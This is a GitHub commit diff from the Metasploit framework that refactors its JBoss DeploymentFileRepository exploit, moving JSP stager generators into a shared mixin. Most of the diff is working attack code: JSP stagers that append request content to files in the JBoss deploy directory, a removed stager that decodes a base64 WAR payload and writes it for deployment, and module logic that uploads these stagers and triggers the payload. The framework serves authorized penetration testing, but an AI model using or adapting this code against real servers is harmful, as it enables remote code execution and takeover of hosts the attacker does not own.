Skip to content

Commit 403eae3

Browse files
author
us3r777
committed
Jboss file deployment repository refactorization
Moved lib/msf/http/jboss/bean_shell_script.rb to lib/msf/http/jboss/script.rb. Moved head_stager_jsp to script.rb. Removed stager_jsp to use the function from the mixin.
1 parent 33f90de commit 403eae3

File tree

3 files changed

+49
-73
lines changed

3 files changed

+49
-73
lines changed

‎lib/msf/http/jboss.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,13 +5,13 @@ module Msf
55
module HTTP
66
module JBoss
77
require 'msf/http/jboss/base'
8-
require 'msf/http/jboss/bean_shell_scripts'
8+
require 'msf/http/jboss/scripts'
99
require 'msf/http/jboss/bean_shell'
1010
require 'msf/http/jboss/deployment_file_repository'
1111

1212
include Msf::Exploit::Remote::HttpClient
1313
include Msf::HTTP::JBoss::Base
14-
include Msf::HTTP::JBoss::BeanShellScripts
14+
include Msf::HTTP::JBoss::Scripts
1515
include Msf::HTTP::JBoss::BeanShell
1616
include Msf::HTTP::JBoss::DeploymentFileRepository
1717

‎lib/msf/http/jboss/bean_shell_scripts.rb renamed to ‎lib/msf/http/jboss/scripts.rb

Lines changed: 38 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
# -*- coding: binary -*-
22

3-
module Msf::HTTP::JBoss::BeanShellScripts
3+
module Msf::HTTP::JBoss::Scripts
44

55
# Generates a Bean Shell Script.
66
#
@@ -19,6 +19,43 @@ def generate_bsh(type, opts ={})
1919
bean_shell
2020
end
2121

22+
# Generate a stager JSP to write the second stager to the
23+
# deploy/management direcotry. It is only used with HEAD/GET requests
24+
# to overcome the size limit in those requests
25+
#
26+
# @param stager_base [String] The name of the base of the stager.
27+
# @param stager_jsp [String] The name name of the jsp stager.
28+
# @return [String] The JSP head stager.
29+
def head_stager_jsp(stager_base, stager_jsp)
30+
content_var = rand_text_alpha(8+rand(8))
31+
file_path_var = rand_text_alpha(8+rand(8))
32+
jboss_home_var = rand_text_alpha(8+rand(8))
33+
fos_var = rand_text_alpha(8+rand(8))
34+
bw_var = rand_text_alpha(8+rand(8))
35+
head_stager_jsp_code = <<-EOT
36+
<%@page import="java.io.*,
37+
java.util.*"
38+
%>
39+
<%
40+
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
41+
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp";
42+
if (request.getParameter("#{content_var}") != null) {
43+
try {
44+
String parameterName = (String)(request.getParameterNames().nextElement());
45+
#{content_var} = request.getParameter(parameterName);
46+
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
47+
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
48+
#{bw_var}.write(#{content_var});
49+
#{bw_var}.close();
50+
}
51+
catch(Exception e) { }
52+
}
53+
%>
54+
EOT
55+
56+
head_stager_jsp
57+
end
58+
2259
# Generate a stager JSP to write a WAR file to the deploy/ directory.
2360
# This is used to bypass the size limit for GET/HEAD requests.
2461
#

‎modules/exploits/multi/http/jboss_deploymentfilerepository.rb

Lines changed: 9 additions & 70 deletions
Original file line numberDiff line numberDiff line change
@@ -84,14 +84,7 @@ def exploit
8484
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
8585
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
8686
stager_base = rand_text_alpha(8+rand(8))
87-
head_stager_jsp = rand_text_alpha(8+rand(8))
8887
stager_jsp = rand_text_alpha(8+rand(8))
89-
content_var = rand_text_alpha(8+rand(8))
90-
decoded_var = rand_text_alpha(8+rand(8))
91-
file_path_var = rand_text_alpha(8+rand(8))
92-
jboss_home_var = rand_text_alpha(8+rand(8))
93-
fos_var = rand_text_alpha(8+rand(8))
94-
bw_var = rand_text_alpha(8+rand(8))
9588

9689
p = payload
9790
mytarget = target
@@ -128,74 +121,18 @@ def exploit
128121

129122
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
130123

131-
# The following jsp script will write the stager to the
132-
# deploy/management directory. It is only used with HEAD/GET requests
133-
# to overcome the size limit in those requests
134-
head_stager_jsp_code = <<-EOT
135-
<%@page import="java.io.*,
136-
java.util.*"
137-
%>
138-
139-
<%
140-
141-
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
142-
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp";
143-
144-
145-
if (request.getParameter("#{content_var}") != null) {
146-
147-
try {
148-
String #{content_var} = "";
149-
#{content_var} = request.getParameter("#{content_var}");
150-
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
151-
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
152-
#{bw_var}.write(#{content_var});
153-
#{bw_var}.close();
154-
}
155-
catch(Exception e)
156-
{
157-
}
158-
}
159-
%>
160-
161-
EOT
162-
163-
# The following jsp script will write the exploded WAR file to the deploy/
164-
# directory or try to delete it
165-
stager_jsp_code = <<-EOT
166-
<%@page import="java.io.*,
167-
java.util.*,
168-
sun.misc.BASE64Decoder"
169-
%>
170-
171-
<%
172-
173-
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
174-
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
175-
176-
177-
try {
178-
String #{content_var} = "#{encoded_payload}";
179-
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
180-
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
181-
#{fos_var}.write(#{decoded_var});
182-
#{fos_var}.close();
183-
}
184-
catch(Exception e)
185-
{
186-
}
187-
%>
188-
189-
EOT
190124

191125
# Depending on the type on the verb we might use a second stager
192126
if datastore['VERB'] == "POST" then
193127
print_status("Deploying stager for the WAR file")
194-
res = upload_file(stager_base, stager_jsp, stager_jsp_code)
128+
stager_contents = stager_jsp(app_base)
129+
res = upload_file(stager_base, stager_jsp, stager_contents)
195130
else
196131
print_status("Deploying minimal stager to upload the payload")
197-
res = upload_file(stager_base, head_stager_jsp, head_stager_jsp_code)
132+
head_stager_jsp_name = rand_text_alpha(8+rand(8))
133+
head_stager_contents = head_stager_jsp(stager_base, stager_jsp)
198134
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?"
135+
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
199136

200137
# We split the stager_jsp_code in multipe junks and transfer on the
201138
# target with multiple requests
@@ -216,7 +153,10 @@ def exploit
216153
if (res.code == 200 || res.code == 500)
217154
print_status("Calling stager to deploy the payload warfile (might take some time)")
218155
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
219-
stager_res = deploy('uri' => stager_uri)
156+
payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
157+
stager_res = deploy('uri' => stager_uri,
158+
'data' => payload_data,
159+
'method' => http_verb)
220160

221161
print_status("Try to call the deployed payload")
222162
# Try to execute the payload by calling the deployed WAR file
@@ -247,5 +187,4 @@ def exploit
247187
end
248188
end
249189

250-
251190
end

0 commit comments

Comments
 (0)